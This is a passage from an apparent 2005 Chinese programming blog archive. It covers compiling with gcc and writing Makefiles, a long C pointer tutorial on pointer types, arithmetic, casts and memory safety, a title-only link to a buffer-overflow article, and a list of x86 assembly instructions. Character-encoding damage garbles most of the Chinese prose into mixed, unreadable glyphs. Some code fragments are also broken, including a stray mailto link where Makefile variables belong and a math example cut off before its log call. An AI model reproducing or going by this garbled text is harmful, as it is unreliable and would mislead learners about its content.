printf("This is mytool2 print %s\n",print_str);
}


当然׃q个E序是很短的我们可以q样来编?
gcc -c main.c
gcc -c mytool1.c
gcc -c mytool2.c
gcc -o main main.o mytool1.o mytool2.o
q样的话我们也可以生mainE序,而且也不时很ȝ.但是如果我们考虑一下如果有一天我们修改了其中的一个文?比如说mytool1.c)那么我们Nq要重新输入上面的命?也许你会?q个很容易解军_,我写一个SHELL脚本,让她帮我d成不可以了.是的对于q个E序来说,是可以vC用的.但是当我们把事情想的更复杂一?如果我们的程序有几百个源E序的时?N也要~译器重C个一个的ȝ?
为此,聪明的程序员们想Z一个很好的工具来做qg事情,q就是make.我们只要执行以下make,可以把上面的问题解x.在我们执行make之前,我们要先~写一个非帔R要的文g.--Makefile.对于上面的那个程序来?可能的一个Makefile的文件是:
# q是上面那个E序的Makefile文g
main:main.o mytool1.o mytool2.o
gcc -o main main.o mytool1.o mytool2.o
main.o:main.c mytool1.h mytool2.h
gcc -c main.c
mytool1.o:mytool1.c mytool1.h
gcc -c mytool1.c
mytool2.o:mytool2.c mytool2.h
gcc -c mytool2.c

有了q个Makefile文g,不过我们什么时候修改了源程序当中的什么文?我们只要执行make命o,我们的编译器都只会去~译和我们修改的文g有关的文?其它的文件她q理都不惛_理的.
下面我们学习Makefile是如何编写的.
在Makefile中也#开始的行都是注释行.Makefile中最重要的是描述文g的依赖关pȝ说明.一般的格式?
target: components
TAB rule

W一行表C的是依赖关p?W二行是规则.
比如说我们上面的那个Makefile文g的第二行
main:main.o mytool1.o mytool2.o
表示我们的目?target)main的依赖对?components)是main.o mytool1.o mytool2.o 当倚赖的对象在目标修改后修改的?pL行规则一行所指定的命?p我们的上面那个MakefileW三行所说的一栯执行 gcc -o main main.o mytool1.o mytool2.o 注意规则一行中的TAB表示那里是一个TAB?
Makefile有三个非常有用的变量.分别?A href="mailto:$@,$^,$">$@,$^,$

int main(int argc,char **argv)
{
double value;
printf("Value:%f\n",value);
}

q个E序相当?但是当我们用 gcc -o temp temp.c ~译时会出现下面所C的错误.
/tmp/cc33Kydu.o: In function `main':
/tmp/cc33Kydu.o(.text+0xe): undefined reference to `log'
collect2: ld returned 1 exit status

出现q个错误是因为编译器找不到log的具体实?虽然我们包括了正的头文?但是我们在编译的时候还是要q接定的库.在Linux?Z使用数学函数,我们必须和数学库q接,为此我们要加?-lm 选项. gcc -o temp temp.c -lmq样才能够正的~译.也许有h要问,前面我们用printf函数的时候怎么没有q接库呢?是这L,对于一些常用的函数的实?gcc~译器会自动去连接一些常用库,q样我们没有必要自己去指定? 有时候我们在~译E序的时候还要指定库的\?q个时候我们要用到~译器的 -L选项指定路径.比如说我们有一个库?/home/hoyt/mylib?q样我们~译的时候还要加?-L/home/hoyt/mylib.对于一些标准库来说,我们没有必要指出路径.只要它们在v~省库的路径下就可以?pȝ的缺省库的\?lib /usr/lib /usr/local/lib 在这三个路径下面的库,我们可以不指定\?
q有一个问?有时候我们用了某个函数,但是我们不知道库的名?q个时候怎么办呢?很抱?对于q个问题我也不知道答?我只有一个傻办法.首先,我到标准库\径下面去扄看有没有和我用的函数相关的库,我就q样扑ֈ了线E?thread)函数的库文g(libpthread.a). 当然,如果找不?只有一个笨Ҏ.比如我要找sinq个函数所在的? 只好用 nm -o /lib/*.so|grep sin>~/sin 命o,然后看~/sin文g,到那里面L? 在sin文g当中,我会扑ֈq样的一行libm-2.1.2.so:00009fa0 W sin q样我就知道了sin?libm-2.1.2.so库里?我用 -lm选项可以了(L前面的lib和后面的版本标志,剩下m了所以是 -lm). 如果你知道怎么?误快告诉我,我回非常感激?谢谢!
4.E序的调?
我们~写的程序不太可能一ơ性就会成功的,在我们的E序当中,会出现许许多多我们想不到的错?q个时候我们就要对我们的程序进行调试了.
最常用的调试Y件是gdb.如果你想在图形界面下调试E序,那么你现在可以选择xxgdb.记得要在~译的时候加?-g选项.关于gdb的用可以看gdb的帮助文?׃我没有用q这个Y?所以我也不能够说出如何使用. 不过我不喜欢用gdb.跟踪一个程序是很烦的事?我一般用在程序当中输Z间变量的值来调试E序?当然你可以选择自己的办?没有必要d别h?现在有了许多IDE环境,里面已经自己带了调试器了.你可以选择几个试一试找己喜Ƣ的一个用.

5.头文件和pȝ求助
有时候我们只知道一个函数的大概形式,不记得确切的表达?或者是不记得着函数在那个头文gq行了说?q个时候我们可以求助系l?
比如说我们想知道freadq个函数的确切Ş?我们只要执行 man fread pȝ׃输出着函数的详l解释的.和这个函数所在的头文件说明了. 如果我们要writeq个函数的说?当我们执行man write?输出的结果却不是我们所需要的. 因ؓ我们要的是writeq个函数的说?可是出来的却是writeq个命o的说?Z得到write的函数说明我们要?man 2 write. 2表示我们用的writeq个函数是系l调用函?q有一个我们常用的?表示函数是C的库函数.
C不管什么时?man都是我们的最好助?



R.Zeus 2005-12-10 20:11 发表评论
]]>
指针的概?http://www.tkk7.com/RR00/articles/23255.htmlR.ZeusR.ZeusSat, 10 Dec 2005 04:57:00 GMThttp://www.tkk7.com/RR00/articles/23255.htmlhttp://www.tkk7.com/RR00/comments/23255.htmlhttp://www.tkk7.com/RR00/articles/23255.html#Feedback0http://www.tkk7.com/RR00/comments/commentRss/23255.htmlhttp://www.tkk7.com/RR00/services/trackbacks/23255.htmlQ我以我的理解把初学者觉得难懂的东西用浅昄语言写出来。由于小学时语文
没学好,所以竭全力也未必能达到这个目的。尽力而ؓ吧?
指针是c和c++中的隄和重炏V我只精通dos下的basic。c语言的其它各U特
性,在basic中都有类似的东西。只有指针,是baisc所不具备的。指针是c的灵?
?
我不想重复大多数书上说得很清楚的东西Q我只是把我看过的书中说得不?
楚或没有_而我又觉得我理解得有炚w理的东西写出来。我的目的是Q?
1。通过写这些东西,把我脑袋中关于c的模p的知识清晰化?
2。给初学者们一ҎC?
3。赚几个l验倹{(因ؓ贴这些东西没有灌水之嫌啊Q?

W一章。指针的概念


指针是一个特D的变量Q它里面存储的数D解释成ؓ内存里的一个地址?

要搞清一个指针需要搞清指针的四方面的内容Q指针的cdQ指针所指向?
cdQ指针的值或者叫指针所指向的内存区Q还有指针本w所占据的内存区。让
我们分别说明?
先声明几个指针放着做例子:
例一Q?
(1)int *ptr;
(2)char *ptr;
(3)int **ptr;
(4)int (*ptr)[3];
(5)int *(*ptr)[4];
如果看不懂后几个例子的话Q请参阅我前D|间脓出的?lt;<如何理解c和c
++的复杂类型声?gt;>?

1?指针的类型?
从语法的角度看,你只要把指针声明语句里的指针名字LQ剩下的部分?
是这个指针的cd。这是指针本w所h的类型。让我们看看例一中各个指针的
cdQ?
(1)int *ptr; //指针的类型是int *
(2)char *ptr; //指针的类型是char *
(3)int **ptr; //指针的类型是 int **
(4)int (*ptr)[3]; //指针的类型是 int(*)[3]
(5)int *(*ptr)[4]; //指针的类型是 int *(*)[4]
怎么P扑և指针的类型的Ҏ是不是很单?

2。指针所指向的类型?
当你通过指针来访问指针所指向的内存区Ӟ指针所指向的类型决定了~译
器将把那片内存区里的内容当做什么来看待?
从语法上看,你只L指针声明语句中的指针名字和名字左边的指针声明W?
*LQ剩下的是指针所指向的类型。例如:
(1)int *ptr; //指针所指向的类型是int
(2)char *ptr; //指针所指向的的cd是char
(3)int **ptr; //指针所指向的的cd?int *
(4)int (*ptr)[3]; //指针所指向的的cd?int()[3]
(5)int *(*ptr)[4]; //指针所指向的的cd?int *()[4]
在指针的术q算中,指针所指向的类型有很大的作用?
指针的类?x针本w的cd)和指针所指向的类型是两个概念。当你对C?
来越熟悉Ӟ你会发现Q把与指针搅和在一L"cd"q个概念分成"指针?
cd"?指针所指向的类?两个概念Q是_N指针的关键点之一。我看了?
书Q发现有些写得差的书中,把指针的这两个概念搅在一起了Q所以看起书
来前后矛盾,看糊涂?

3?指针的|或者叫指针所指向的内存区或地址?
指针的值是指针本n存储的数|q个值将被编译器当作一个地址Q而不?
一个一般的数倹{在32位程序里Q所有类型的指针的值都是一?2位整敎ͼ因ؓ
32位程序里内存地址全都?2位长?
指针所指向的内存区是从指针的值所代表的那个内存地址开始,长度为si
zeof(指针所指向的类?的一片内存区。以后,我们说一个指针的值是XXQ就?
当于说该指针指向了以XX为首地址的一片内存区域;我们说一个指针指向了某块
内存区域Q就相当于说该指针的值是q块内存区域的首地址?
指针所指向的内存区和指针所指向的类型是两个完全不同的概c在例一?
Q指针所指向的类型已l有了,但由于指针还未初始化Q所以它所指向的内存区
是不存在的,或者说是无意义的?
以后Q每遇到一个指针,都应该问问:q个指针的类型是什么?指针指向?
cd是什么?该指针指向了哪里Q?
4?指针本n所占据的内存区?
指针本n占了多大的内存?你只要用函数sizeof(指针的类?一下就知道
了。在32位^台里Q指针本w占据了4个字节的长度?
指针本n占据的内存这个概念在判断一个指针表辑ּ是否是左值时很有用?

W二章。指针的术q算


指针可以加上或减M个整数。指针的q种q算的意义和通常的数值的加减
q算的意义是不一L。例如:
例二Q?
1?char a[20];
2?int *ptr=a;
...
...
3?ptr++;
在上例中Q指针ptr的类型是int*,它指向的cd是intQ它被初始化为指向整
形变量a。接下来的第3句中Q指针ptr被加?Q编译器是这样处理的Q它把指?
ptr的值加上了sizeof(int)Q在32位程序中Q是被加上了4。由于地址是用字节?
单位的,故ptr所指向的地址由原来的变量a的地址向高地址方向增加?个字节?
׃charcd的长度是一个字节,所以,原来ptr是指向数la的第0号单元开始的
四个字节Q此时指向了数组a中从W?号单元开始的四个字节?
我们可以用一个指针和一个@环来遍历一个数l,看例子:
例三Q?
例三Q?
int array[20];
int *ptr=array;
...
//此处略去为整型数l赋值的代码?
...
for(i=0;i<20;i++)
{
(*ptr)++;
ptr++Q?
}
q个例子整型数l中各个单元的值加1。由于每ơ@环都指针ptr?Q所
以每ơ@环都能访问数l的下一个单元?
再看例子Q?
例四Q?
1?char a[20];
2?int *ptr=a;
...
...
3?ptr+=5;
在这个例子中Qptr被加上了5Q编译器是这样处理的Q将指针ptr的值加?
乘sizeof(int)Q在32位程序中是加上??=20。由于地址的单位是字节Q故
现在的ptr所指向的地址比v?后的ptr所指向的地址来说Q向高地址方向Ud?
20个字节。在q个例子中,没加5前的ptr指向数组a的第0号单元开始的四个字节
Q加5后,ptr已经指向了数la的合法范围之外了。虽然这U情况在应用上会出问
题,但在语法上却是可以的。这也体现出了指针的灉|性?
如果上例中,ptr是被减去5Q那么处理过E大同小异,只不qptr的值是被减
?乘sizeof(int)Q新的ptr指向的地址比原来的ptr所指向的地址向低地址?
向移动了20个字节?

ȝ一下,一个指针ptrold加上一个整数n后,l果是一个新的指针ptrnewQ?
ptrnew的类型和ptrold的类型相同,ptrnew所指向的类型和ptrold所指向的类?
也相同。ptrnew的值将比ptrold的值增加了n乘sizeof(ptrold所指向的类?个字
节。就是说Qptrnew所指向的内存区比ptrold所指向的内存区向高地址方向U?
动了n乘sizeof(ptrold所指向的类?个字节?
一个指针ptrold减去一个整数n后,l果是一个新的指针ptrnewQptrnew的类
型和ptrold的类型相同,ptrnew所指向的类型和ptrold所指向的类型也相同。pt
rnew的值将比ptrold的值减了n乘sizeof(ptrold所指向的类?个字节,是?
Qptrnew所指向的内存区比ptrold所指向的内存区向低地址方向Ud了n乘siz
eof(ptrold所指向的类?个字节?

W三章。运?amp;?

q里&是取地址q算W,*?..书上叫做"间接q算W??
&a的运结果是一个指针,指针的类型是a的类型加?Q指针所指向的类?
是a的类型,指针所指向的地址嘛,那就是a的地址?
*p的运结果就五花八门了。M*p的结果是p所指向的东西,q个东西有这
些特点:它的cd是p指向的类型,它所占用的地址是p所指向的地址?
例五Q?
int a=12;
int b;
int *p;
int **ptr;
p=&a;//&a的结果是一个指针,cd是int*Q指向的cd是intQ指向的地址
是a的地址?
*p=24;//*p的结果,在这里它的类型是intQ它所占用的地址是p所指向的地
址Q显Ӟ*p是变量a?
ptr=&p;//&p的结果是个指针,该指针的cd是p的类型加?Q在q里是int
**。该指针所指向的类型是p的类型,q里是int*。该指针所指向的地址是指针
p自己的地址?
*ptr=&b;//*ptr是个指针Q?amp;b的结果也是个指针Q且q两个指针的cd和所
指向的类型是一LQ所以用&b来给*ptr赋值就是毫无问题的了?
**ptr=34;//*ptr的结果是ptr所指向的东西,在这里是一个指针,对这个指
针再做一?q算Q结果就是一个intcd的变量?

W四章。指针表辑ּ?


一个表辑ּ的最后结果如果是一个指针,那么q个表达式就叫指针表辑ּ?
下面是一些指针表辑ּ的例子:
例六Q?
int a,b;
int array[10];
int *pa;
pa=&a;//&a是一个指针表辑ּ?
int **ptr=&pa;//&pa也是一个指针表辑ּ?
*ptr=&b;//*ptr?amp;b都是指针表达式?
pa=array;
pa++;//q也是指针表辑ּ?
例七Q?
char *arr[20];
char **parr=arr;//如果把arr看作指针的话Qarr也是指针表达?
char *str;
str=*parr;//*parr是指针表辑ּ
str=*(parr+1);//*(parr+1)是指针表辑ּ
str=*(parr+2);//*(parr+2)是指针表辑ּ


׃指针表达式的l果是一个指针,所以指针表辑ּ也具有指针所h的四
个要素:指针的类型,指针所指向的类型,指针指向的内存区Q指针自w占据的
内存?
好了Q当一个指针表辑ּ的结果指针已l明地h了指针自w占据的内存
的话Q这个指针表辑ּ是一个左|否则׃是一个左倹{?
在例七中Q?amp;a不是一个左|因ؓ它还没有占据明确的内存?ptr是一个左
|因ؓ*ptrq个指针已经占据了内存,其实*ptr是指针paQ既然pa已经在内
存中有了自己的位|,那么*ptr当然也有了自q位置?

W五章。数l和指针的关p?


如果对声明数l的语句不太明白的话Q请参阅我前D|间脓出的?lt;<如何
理解c和c++的复杂类型声?gt;>?
数组的数l名其实可以看作一个指针。看下例Q?
例八Q?
int array[10]={0,1,2,3,4,5,6,7,8,9},value;
...
...
value=array[0];//也可写成Qvalue=*array;
value=array[3];//也可写成Qvalue=*(array+3);
value=array[4];//也可写成Qvalue=*(array+4);
上例中,一般而言数组名array代表数组本nQ类型是int [10]Q但如果把a
rray看做指针的话Q它指向数组的第0个单元,cd是int *Q所指向的类型是?
l单元的cd即int。因?array{于0׃点也不奇怪了。同理,array+3是一?
指向数组W?个单元的指针Q所?(array+3){于3。其它依此类推?

例九Q?
例九Q?
char *str[3]={
"Hello,this is a sample!",
"Hi,good morning.",
"Hello world"
};
char s[80]Q?
strcpy(s,str[0]);//也可写成strcpy(s,*str);
strcpy(s,str[1]);//也可写成strcpy(s,*(str+1));
strcpy(s,str[2]);//也可写成strcpy(s,*(str+2));
上例中,str是一个三单元的数l,该数l的每个单元都是一个指针,q些?
针各指向一个字W串。把指针数组名str当作一个指针的话,它指向数l的W??
单元Q它的类型是char**Q它指向的类型是char *?
*str也是一个指针,它的cd是char*Q它所指向的类型是charQ它指向的地
址是字W串"Hello,this is a sample!"的第一个字W的地址Q即’H’的地址?
str+1也是一个指针,它指向数l的W?号单元,它的cd是char**Q它指向
的类型是char *?
*(str+1)也是一个指针,它的cd是char*Q它所指向的类型是charQ它指向
"Hi,good morning."的第一个字W’H’,{等?

下面ȝ一下数l的数组名的问题。声明了一个数lTYPE array[n]Q则数组
名称array有了两重含义:W一Q它代表整个数组Q它的类型是TYPE [n]Q第?
Q它是一个指针,该指针的cd是TYPE*Q该指针指向的类型是TYPEQ也是数组
单元的类型,该指针指向的内存区就是数l第0号单元,该指针自己占有单独的?
存区Q注意它和数l第0号单元占据的内存区是不同的。该指针的值是不能修改?
Q即cMarray++的表辑ּ是错误的?
在不同的表达式中数组名array可以扮演不同的角艌Ӏ?
在表辑ּsizeof(array)中,数组名array代表数组本nQ故q时sizeof函数
出的是整个数组的大?
在表辑ּ*array中,array扮演的是指针Q因此这个表辑ּ的结果就是数l第
0号单元的倹{sizeof(*array)出的是数组单元的大?
表达式array+nQ其中n=0Q?Q?Q?...。)中,array扮演的是指针Q故arr
ay+n的结果是一个指针,它的cd是TYPE*Q它指向的类型是TYPEQ它指向数组W?
n号单元。故sizeof(array+n)出的是指针cd的大?
例十Q?
int array[10];
int (*ptr)[10];
ptr=&array;
上例中ptr是一个指针,它的cd是int (*)[10]Q他指向的类型是int [10]
Q我们用整个数组的首地址来初始化它。在语句ptr=&array中,array代表数组?
w?

本节中提C函数sizeof()Q那么我来问一问,sizeof(指针名称)出的究
竟是指针自ncd的大呢q是指针所指向的类型的大小Q答案是前者。例如:

int (*ptr)[10];
则在32位程序中Q有Q?
sizeof(int(*)[10])==4
sizeof(int [10])==40
sizeof(ptr)==4
实际上,sizeof(对象)出的都是对象自w的cd的大,而不是别的什?
cd的大?

W六章。指针和l构cd的关p?


可以声明一个指向结构类型对象的指针?
例十一Q?
struct MyStruct
{
int a;
int b;
int c;
}
MyStruct ss={20,30,40};//声明了结构对象ssQƈ把ss的三个成员初?
化ؓ20Q?0?0?
MyStruct *ptr=&ss;//声明了一个指向结构对象ss的指针。它的类型是
MyStruct*,它指向的cd是MyStruct?
int *pstr=(int*)&ss;//声明了一个指向结构对象ss的指针。但是它?
cd和它指向的类型和ptr是不同的?

请问怎样通过指针ptr来访问ss的三个成员变量?
{案Q?
ptr->a;
ptr->b;
ptr->c;
又请问怎样通过指针pstr来访问ss的三个成员变量?
{案Q?
*pstrQ?/讉K了ss的成员a?
*(pstr+1);//讉K了ss的成员b?
*(pstr+2)//讉K了ss的成员c?
呵呵Q虽然我在我的MSVC++6.0上调式过上述代码Q但是要知道Q这样用p
str来访问结构成员是不正规的Qؓ了说明ؓ什么不正规Q让我们看看怎样通过?
针来讉K数组的各个单元:
例十二:
int array[3]={35,56,37};
int *pa=array;
通过指针pa讉K数组array的三个单元的Ҏ是:
*pa;//讉K了第0号单?
*(pa+1);//讉K了第1号单?
*(pa+2);//讉K了第2号单?
从格式上看倒是与通过指针讉Kl构成员的不正规Ҏ的格式一栗?
所有的C/C++~译器在排列数组的单元时QL把各个数l单元存攑֜q箋?
存储区里Q单元和单元之间没有I隙。但在存攄构对象的各个成员Ӟ在某U?
~译环境下,可能会需要字寚w或双字对齐或者是别的什么对齐,需要在盔R?
个成员之间加若干?quot;填充字节"Q这导致各个成员之间可能会有若q个字节
的空隙?
所以,在例十二中,即*pstr讉KCl构对象ss的第一个成员变量aQ也
不能保证*(pstr+1)׃定能讉K到结构成员b。因为成员a和成员b之间可能会有
若干填充字节Q说不定*(pstr+1)正好访问到了这些填充字节呢。这也证明了?
针的灉|性。要是你的目的就是想看看各个l构成员之间到底有没有填充字节,
嘿,q倒是个不错的Ҏ?
通过指针讉Kl构成员的正方法应该是象例十二中用指针ptr的方法?

W七章。指针和函数的关p?


可以把一个指针声明成Z个指向函数的指针?
int fun1(char*,int);
int (*pfun1)(char*,int);
pfun1=fun1;
....
....
int a=(*pfun1)("abcdefg",7);//通过函数指针调用函数?
可以把指针作为函数的形参。在函数调用语句中,可以用指针表辑ּ来作?
实参?
例十三:
int fun(char*);
int a;
char str[]="abcdefghijklmn";
a=fun(str);
...
...
int fun(char*s)
{
int num=0;
for(int i=0;i
{
num+=*s;s++;
}
return num;
)
q个例子中的函数funl计一个字W串中各个字W的ASCII码g和。前面说
了,数组的名字也是一个指针。在函数调用中,当把str作ؓ实参传递给形参s?
Q实际是把str的g递给了sQs所指向的地址和str所指向的地址一_但是
str和s各自占用各自的存储空间。在函数体内对sq行自加1q算Qƈ不意味着?
时对strq行了自?q算?

W八章。指针类型{?


当我们初始化一个指针或l一个指针赋值时Q赋值号的左Ҏ一个指针,?
值号的右Ҏ一个指针表辑ּ。在我们前面所丄例子中,l大多数情况下,?
针的cd和指针表辑ּ的类型是一LQ指针所指向的类型和指针表达式所指向
的类型是一L?
例十四:
1?float f=12.3;
2?float *fptr=&f;
3?int *p;
在上面的例子中,假如我们惌指针p指向实数fQ应该怎么搞?是用下面?
语句吗?
p=&f;
不对。因为指针p的类型是int*Q它指向的类型是int。表辑ּ&f的结果是一
个指针,指针的类型是float*,它指向的cd是float。两者不一_直接赋值的
Ҏ是不行的。至在我的MSVC++6.0上,Ҏ针的赋D句要求赋值号两边的类
型一_所指向的类型也一_其它的编译器上我没试q,大家可以试试。ؓ?
实现我们的目的,需要进?强制cd转换"Q?
p=(int*)&f;
如果有一个指针pQ我们需要把它的cd和所指向的类型改为TYEP*和TYPEQ?
那么语法格式是:
(TYPE*)pQ?
q样强制cd转换的结果是一个新指针Q该新指针的cd是TYPE*Q它指向?
cd是TYPEQ它指向的地址是原指针指向的地址。而原来的指针p的一切属性都
没有被修攏V?

一个函数如果用了指针作ؓ形参Q那么在函数调用语句的实参和形参的结
合过E中Q也会发生指针类型的转换?
例十五:
void fun(char*);
int a=125,b;
fun((char*)&a);
...
...
void fun(char*s)
{
char c;
c=*(s+3);*(s+3)=*(s+0);*(s+0)=c;
c=*(s+2);*(s+2)=*(s+1);*(s+1)=c;
}
}
注意q是一?2位程序,故intcd占了四个字节Qcharcd占一个字节。函
数fun的作用是把一个整数的四个字节的顺序来个颠倒。注意到了吗Q在函数调用
语句中,实参&a的结果是一个指针,它的cd是int *Q它指向的类型是int。Ş
参这个指针的cd是char*Q它指向的类型是char。这P在实参和形参的结合过
E中Q我们必进行一ơ从int*cd到char*cd的{换。结合这个例子,我们?
以这h惌~译器进行{换的q程Q编译器先构造一个时指?char*tempQ?
然后执行temp=(char*)&aQ最后再把temp的g递给s。所以最后的l果是:s?
cd是char*,它指向的cd是charQ它指向的地址是a的首地址?

我们已经知道Q指针的值就是指针指向的地址Q在32位程序中Q指针的值其
实是一?2位整数。那可不可以把一个整数当作指针的值直接赋l指针呢Q就?
下面的语句:
unsigned int a;
TYPE *ptr;//TYPE是intQchar或结构类型等{类型?
...
...
a=20345686;
ptr=20345686;//我们的目的是要指针ptr指向地址20345686Q十q制
Q?
ptr=a;//我们的目的是要指针ptr指向地址20345686Q十q制Q?
~译一下吧。结果发现后面两条语句全是错的。那么我们的目的׃能达?
了吗Q不Q还有办法:
unsigned int a;
TYPE *ptr;//TYPE是intQchar或结构类型等{类型?
...
...
a=某个敎ͼq个数必M表一个合法的地址Q?
ptr=(TYPE*)aQ?/呵呵Q这可以了?
严格说来q里?TYPE*)和指针类型{换中?TYPE*)q不一栗这里的(TYP
E*)的意思是把无W号整数a的值当作一个地址来看待?
上面了a的值必M表一个合法的地址Q否则的话,在你使用ptr的时?
Q就会出现非法操作错误?

x能不能反q来Q把指针指向的地址x针的值当作一个整数取出来。完
全可以。下面的例子演示了把一个指针的值当作一个整数取出来Q然后再把这?
整数当作一个地址赋给一个指针:
例十六:
int a=123,b;
int *ptr=&a;
char *str;
b=(int)ptr;//把指针ptr的值当作一个整数取出来?
str=(char*)b;//把这个整数的值当作一个地址赋给指针str?

好了Q现在我们已l知道了Q可以把指针的值当作一个整数取出来Q也可以
把一个整数值当作地址赋给一个指针?

W九章。指针的安全问题


看下面的例子Q?
例十七:
char s=’a?
int *ptr;
ptr=(int*)&s;
*ptr=1298Q?
指针ptr是一个int*cd的指针,它指向的cd是int。它指向的地址是s?
首地址。在32位程序中Qs占一个字节,intcd占四个字节。最后一条语句不?
改变了s所占的一个字节,q把和s怏的高地址方向的三个字节也改变了。这?
个字节是q什么的Q只有编译程序知道,而写E序的h是不太可能知道的。也?
q三个字节里存储了非帔R要的数据Q也许这三个字节里正好是E序的一条代?
Q而由于你Ҏ针的马虎应用Q这三个字节的D改变了!q会造成崩溃性的?
误?
让我们再来看一例:
例十八:
1?char a;
2?int *ptr=&a;
...
...
3?ptr++;
4?*ptr=115;
该例子完全可以通过~译Qƈ能执行。但是看到没有?W?句对指针ptrq行
自加1q算后,ptr指向了和整Ş变量a盔R的高地址方向的一块存储区。这块存?
区里是什么?我们不知道。有可能它是一个非帔R要的数据Q甚臛_能是一条代
码。而第4句竟然往q片存储区里写入一个数据!q是严重的错误。所以在使用?
针时Q程序员心里必须非常清楚Q我的指针究竟指向了哪里?
在用指针讉K数组的时候,也要注意不要出数组的低端和高端界限Q否?
也会造成cM的错误?
在指针的强制cd转换Qptr1=(TYPE*)ptr2中,如果sizeof(ptr2的类??
于sizeof(ptr1的类?Q那么在使用指针ptr1来访问ptr2所指向的存储区时是?
全的。如果sizeof(ptr2的类?于sizeof(ptr1的类?Q那么在使用指针ptr1
来访问ptr2所指向的存储区时是不安全的。至于ؓ什么,读者结合例十七来想一
惻I应该会明白的?


R.Zeus 2005-12-10 12:57 发表评论
]]>
~冲区溢出的原理和实?Phrack) http://www.tkk7.com/RR00/articles/23246.htmlR.ZeusR.ZeusSat, 10 Dec 2005 03:11:00 GMThttp://www.tkk7.com/RR00/articles/23246.htmlhttp://www.tkk7.com/RR00/comments/23246.htmlhttp://www.tkk7.com/RR00/articles/23246.html#Feedback0http://www.tkk7.com/RR00/comments/commentRss/23246.htmlhttp://www.tkk7.com/RR00/services/trackbacks/23246.html阅读全文

R.Zeus 2005-12-10 11:11 发表评论
]]>
汇编指ohttp://www.tkk7.com/RR00/articles/23222.htmlR.ZeusR.ZeusFri, 09 Dec 2005 14:05:00 GMThttp://www.tkk7.com/RR00/articles/23222.htmlhttp://www.tkk7.com/RR00/comments/23222.htmlhttp://www.tkk7.com/RR00/articles/23222.html#Feedback0http://www.tkk7.com/RR00/comments/commentRss/23222.htmlhttp://www.tkk7.com/RR00/services/trackbacks/23222.html数据传输指o
───────────────────────────────────────
    它们在存贮器和寄存器、寄存器和输入输出端口之间传送数?
    1. 通用数据传送指?
        MOV    传送字或字?
        MOVSX  先符h?再传?
        MOVZX  先零扩展,再传?
        PUSH    把字压入堆栈.
        POP    把字弹出堆栈.
        PUSHA  把AX,CX,DX,BX,SP,BP,SI,DI依次压入堆栈.
        POPA    把DI,SI,BP,SP,BX,DX,CX,AX依次弹出堆栈.
        PUSHAD  把EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI依次压入堆栈.
        POPAD  把EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX依次弹出堆栈.
        BSWAP  交换32位寄存器里字节的序
        XCHG    交换字或字节.( 臛_有一个操作数为寄存器,D寄存器不可作ؓ操作?
        CMPXCHG 比较q交换操作数.( W二个操作数必须为篏加器AL/AX/EAX )
        XADD    先交换再累加.( l果在第一个操作数?)
        XLAT    字节查表转换.
                ── BX 指向一?256 字节的表的v? AL 的烦引?(0-255,?
                0-FFH); q回 AL 为查表结? ( [BX+AL]->AL )
    2. 输入输出端口传送指?
        IN      I/O端口输入. ( 语法: IN 累加? {端口号│DX} )
        OUT    I/O端口输出. ( 语法: OUT {端口号│DX},累加?)
          输入输出端口qx式指定时, 其范围是 0-255; 由寄存器 DX 指定?
          其范围是 0-65535.
    3. 目的地址传送指?
        LEA    装入有效地址.
          ? LEA DX,string  ;把偏Ud址存到DX.
        LDS    传送目标指?把指针内容装入DS.
          ? LDS SI,string  ;把段地址:偏移地址存到DS:SI.
        LES    传送目标指?把指针内容装入ES.
          ? LES DI,string  ;把段地址:偏移地址存到ES:DI.
        LFS    传送目标指?把指针内容装入FS.
          ? LFS DI,string  ;把段地址:偏移地址存到FS:DI.
        LGS    传送目标指?把指针内容装入GS.
          ? LGS DI,string  ;把段地址:偏移地址存到GS:DI.
        LSS    传送目标指?把指针内容装入SS.
          ? LSS DI,string  ;把段地址:偏移地址存到SS:DI.
    4. 标志传送指?
        LAHF    标志寄存器传?把标志装入AH.
        SAHF    标志寄存器传?把AH内容装入标志寄存?
        PUSHF  标志入栈.
        POPF    标志出栈.
        PUSHD  32位标志入?
        POPD    32位标志出?

二、算术运指?
───────────────────────────────────────
          ADD    加法.
        ADC    带进位加?
        INC    ?1.
        AAA    加法的ASCII码调?
        DAA    加法的十q制调整.
        SUB    减法.
        SBB    带借位减法.
        DEC    ?1.
        NEC    求反(?0 减之).
        CMP    比较.(两操作数作减?仅修Ҏ志位,不回送结?.
        AAS    减法的ASCII码调?
        DAS    减法的十q制调整.
        MUL    无符号乘?
        IMUL    整数乘法.
          以上两条,l果回送AH和AL(字节q算),或DX和AX(字运?,
        AAM    乘法的ASCII码调?
        DIV    无符号除?
        IDIV    整数除法.
          以上两条,l果回?
              商回送AL,余数回送AH, (字节q算);
          ?nbsp; 商回送AX,余数回送DX, (字运?.
        AAD    除法的ASCII码调?
        CBW    字节转换为字. (把AL中字节的W号扩展到AH中去)
        CWD    字{换ؓ双字. (把AX中的字的W号扩展到DX中去)
        CWDE    字{换ؓ双字. (把AX中的字符h展到EAX中去)
        CDQ    双字扩展.    (把EAX中的字的W号扩展到EDX中去)

三、逻辑q算指o
───────────────────────────────────────
          AND    与运?
        OR      或运?
        XOR    异或q算.
        NOT    取反.
        TEST    试.(两操作数作与q算,仅修Ҏ志位,不回送结?.
        SHL    逻辑左移.
        SAL    术左移.(=SHL)
        SHR    逻辑右移.
        SAR    术右移.(=SHR)
        ROL    循环左移.
        ROR    循环右移.
        RCL    通过q位的@环左U?
        RCR    通过q位的@环右U?
          以上八种UM指o,其移位次数可?55?
              UM一ơ时, 可直接用操作?  ?SHL AX,1.
              UM>1ơ时, 则由寄存器CLl出UMơ数.
                ?nbsp; MOV CL,04
                    SHL AX,CL

四、串指o
───────────────────────────────────────
             DS:SI  源串D寄存器  :源串变址.
            ES:DI  目标串段寄存?目标串变址.
            CX      重复ơ数计数?
            AL/AX  扫描?
            D标志  0表示重复操作中SI和DI应自动增? 1表示应自动减?
            Z标志  用来控制扫描或比较操作的l束.
        MOVS    串传?
            ( MOVSB  传送字W?    MOVSW  传送字.    MOVSD  传送双? )
        CMPS    串比?
            ( CMPSB  比较字符.    CMPSW  比较? )
        SCAS    串扫?
            把AL或AX的内容与目标串作比较,比较l果反映在标志位.
        LODS    装入?
            把源串中的元?字或字节)逐一装入AL或AX?
            ( LODSB  传送字W?    LODSW  传送字.    LODSD  传送双? )
        STOS    保存?
            是LODS的逆过E?
        REP            当CX/ECX<>0旉?
        REPE/REPZ      当ZF=1或比较结果相{?且CX/ECX<>0旉?
        REPNE/REPNZ    当ZF=0或比较结果不相等,且CX/ECX<>0旉?
